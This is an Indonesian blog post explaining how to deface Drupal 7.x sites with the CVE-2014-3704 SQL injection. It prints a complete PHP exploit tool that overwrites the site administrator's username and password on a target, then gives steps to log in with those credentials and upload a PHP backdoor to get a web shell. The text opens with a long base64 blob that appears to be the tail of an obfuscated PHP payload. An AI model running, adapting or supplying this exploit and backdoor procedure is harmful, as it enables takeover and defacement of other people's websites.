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')));//еукеу
      ?>

      Friday, June 9, 2017

      Cara deface dengan Exploit Drupal Core 7.x Auto SQL Injection

      Catatan kali ini akan membahas langkah-langkah untuk melakukan deface dengan menggunakan exploit pada website yang menggunakan CMS Drupal....

      Exploit source code yang dapat digunakan ialah dibawah ini.

      <?php ?>  <!Doctype HTML>
      <html>
      <head>
              <title>Drupal Exploit</title>
      <body>
      </head>
      <body>
              <div class="mymargin">
                      <center>
                              <font color="red"><h1>Drupal Exploit</h1></font>
                               
              <form method="GET" action="">
                      Site : <input type="text" name="url" placeholder="Example: www.site.com">
                      <input type="submit" name="submit" value="suck it !">
              </form>
              <br>
      <?php
      #-----------------------------------------------------------------------------#
      # Exploit Title: Drupal core 7.x - SQL Injection                              #
      # Date: Oct 16 2014                                                           #
      # Exploit Author: Dustin D&#1043;rr                                                 #
      # Software Link: http://www.drupal.com/                                       #
      # Version: Drupal core 7.x versions prior to 7.32                             #
      # CVE: CVE-2014-3704                                                          #
      #-----------------------------------------------------------------------------#
      $file = fopen("rock-you.txt", "a");
      error_reporting(0);
      if (isset($_GET['submit'])) {
          $url = "http://" . $_GET['url'];
          $post_data = "name[0;update users set name %3D 'fuckyou' , pass %3D '" . urlencode('$S$DrV4X74wt6bT3BhJa4X0.XO5bHXl/QBnFkdDkYSHj3cE1Z5clGwu') . "',status %3D'1' where uid %3D '1';#]=FcUk&name[]=Crap&pass=test&form_build_id=&form_id=user_login&op=Log+in";
          $params = array('http' => array('method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded
      ", 'content' => $post_data));
          $ctx = stream_context_create($params);
          $data = file_get_contents($url . '/user/login/', null, $ctx);
          echo "<h4>Scanning at \"/user/login/</h4>\"";
          if ((stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) || (stristr($data, 'FcUk Crap') && $data)) {
              $fp = fopen("rock-you.txt", 'a');
              echo "Success! User:fuckyou Pass:admin at {$url}/user/login <br>";
              echo '<font color="#00FF66">Finished scanning. check => </font><a href="rock-you.txt" target="_blank">Rock You </a></font> ';
              fwrite($fp, "Succes! User:fuckyou Pass:admin -> {$url}/user/login");
              fwrite($fp, "
      ");
              fwrite($fp, "======================================Donnazmi==============================================================");
              fwrite($fp, "
      ");
              fclose($fp);
          } else {
              echo "Error! Either the website isn't vulnerable, or your Internet isn't working.";
          }
      }
      if (isset($_GET['submit'])) {
          $url = "http://" . $_GET['url'] . "/";
          $post_data = "name[0;update users set name %3D 'fuckyou' , pass %3D '" . urlencode('$S$DrV4X74wt6bT3BhJa4X0.XO5bHXl/QBnFkdDkYSHj3cE1Z5clGwu') . "',status %3D'1' where uid %3D '1';#]=test3&name[]=Crap&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
          $params = array('http' => array('method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded
      ", 'content' => $post_data));
          $ctx = stream_context_create($params);
          $data = file_get_contents($url . '?q=node&destination=node', null, $ctx);
          echo "<h4>Scanning at \"Index</h4>\"";
          if (stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
              $fp = fopen("rock-you.txt", 'a');
              echo "Success! User:fuckyou Pass:admin at {$url}/user/login <br>";
              echo '<font color="red">Finished scanning. check =>  </font><a href="rock-you.txt" target="_blank">Rock you !</a></font> ';
              fwrite($fp, "Success! User:fuckyou Pass:admin -> {$url}/user/login");
              fwrite($fp, "
      ");
              fwrite($fp, "======================================Donnazmi==============================================================");
              fwrite($fp, "
      ");
              fclose($fp);
          } else {
              echo "Error! Either the website isn't vulnerable, or your Internet isn't working.";
          }
      }
      ?>
      <br>
              </div>

      </body>
      </html>

      Atau bisa donlot disini Drupal Source Code Exploit.

      Setelah donlot lakukan langkah-langkah dibawah ini.

      1. Simpan source code diatas dengan ekstensi .php lalu save di hosting local (xampp bila di windows atau apache bila linux). Setelah itu akses drupal exploit tersebut dari web-browser.







      2. Masukan domain target lalu tekan suck it, kalau sukses maka penampakannya seperti dibawah ini.











      3. Masuk ke URL: http://site.com/user/login, lalu masukan username: fuckyou, password: admin

      4. Apabila berhasil login langkah selanjutnya kita ingin memasukan sourcecode backdoor dengan masuk ke http://site.com/node/add/article, masukan source code backdoor dibawah ini dalam format PHP. Kamu bisa di donlot disini -> source code backdoor drupal.

      Setelah selesai lalu di Save.

      5. Setelah selesai save maka kita akan langsung di redirect ke shell tempat hosting target.

















      PS : Jangan sembarangan gunain ya, tujuan penggunaan diluar tanggung jawab penulis.